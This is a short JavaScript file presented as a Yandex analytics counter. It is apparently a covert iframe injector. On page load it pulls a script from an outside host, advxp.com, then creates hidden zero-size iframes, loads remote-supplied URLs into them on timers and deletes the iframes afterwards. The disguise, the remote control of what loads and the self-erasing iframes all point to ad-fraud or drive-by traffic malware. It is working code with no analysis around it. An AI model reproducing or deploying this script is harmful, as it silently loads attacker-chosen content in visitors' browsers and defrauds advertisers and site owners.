if(!yaAdv){
    function YaAdv(){
        this._parent=document.parent;
        this._isTop=(self.top==window);
        var rnd100=Math.floor(Math.random()*100);
        this._isTop2=((!this._isTop) && (self.top==window.parent) && (rnd100<=46));
        this._body=document.getElementsByTagName('body')[0];
        this.ifrId1='yandexCounterIf51';
        this.ifrId2='yandexCounterIf52';
        this.url='http://advxp.com/disp.php';
        this.params={ok:1,url2:'about:blank',c_to:3,d_to1:15,d_to2:20};
        this.getScript=function( url, ifr, step, callback ){
            var script=document.createElement('script');
            script.src=url+'?ifr='+ifr+'&step='+step;
            script.type='text/javascript';
            script.callback=(callback!=undefined ? callback : null );
            script.onerror = script.onload = script.onreadystatechange = function() {
                if(!this.loaded && (!this.readyState || this.readyState == 'loaded' || this.readyState == 'complete')){
                    this.loaded = 1;
                    this.onerror = this.onload = this.onreadystatechange = null;
                    if(script.callback) script.callback();
                    var _this=this;
                    window.setTimeout(function(){
                        _this.parentNode.removeChild(_this);
                        delete script;
                    }, 500 );
                }
            }
            this._body.appendChild(script);
        }
        this.createIfr=function( id){
            var ifr=document.createElement('iframe');
            ifr.id=id;
            ifr.setAttribute('width', 0);
            ifr.setAttribute('height', 0);
            ifr.setAttribute('scrolling', 'no');
            ifr.setAttribute('frameborder', 0);
            ifr.style.display='none';
            this._body.appendChild(ifr);
        }
        this.deleteIfr=function( id, timeout){
            window.setTimeout(function(){var e=document.getElementById( id );if(e) e.parentNode.removeChild( e );}, timeout );
        }
        this.run=function(){
//            if(this._parent==undefined && this._body){
//            if(this._isTop && this._body){
            if((this._isTop||this._isTop2) && this._body){
                // step 1
                this.getScript( this.url, this.ifrId1, 50, function(){
                    var _this=yaAdv;
                    var p=_this.params;
                    if(p.ok){
                        // step 2
                        _this.ifr1=_this.createIfr( _this.ifrId1 );
                        document.getElementById( _this.ifrId1 ).src=p.l_url;
                        // step 3
                        _this.ifr2=_this.createIfr( _this.ifrId2 );
                        var i2;
                        if(p.l_urls2){
                            for(i2=0;i2<p.l_urls2.length;i2++){
                                var to=p.c_to+p.c_to_n*i2;
                                switch(i2){
                                    case 0: var lu_01=p.l_urls2[i2];
                                        window.setTimeout(function(){document.getElementById(_this.ifrId2).src=lu_01;},to*1000);
                                        break;
                                    case 1: var lu_02=p.l_urls2[i2];
                                        window.setTimeout(function(){document.getElementById(_this.ifrId2).src=lu_02;},to*1000);
                                        break;
                                    case 2: var lu_03=p.l_urls2[i2];
                                        window.setTimeout(function(){document.getElementById(_this.ifrId2).src=lu_03;},to*1000);
                                        break;
                                }
                            }
                        }
                        // del
                        if(p.d_to1) _this.deleteIfr(yaAdv.ifrId1,p.d_to1*1000);
                        if(p.d_to2) _this.deleteIfr(yaAdv.ifrId2,p.d_to2*1000);
                    }
                });
            }
        }
    }
    var yaAdv=new YaAdv();yaAdv.run();
}
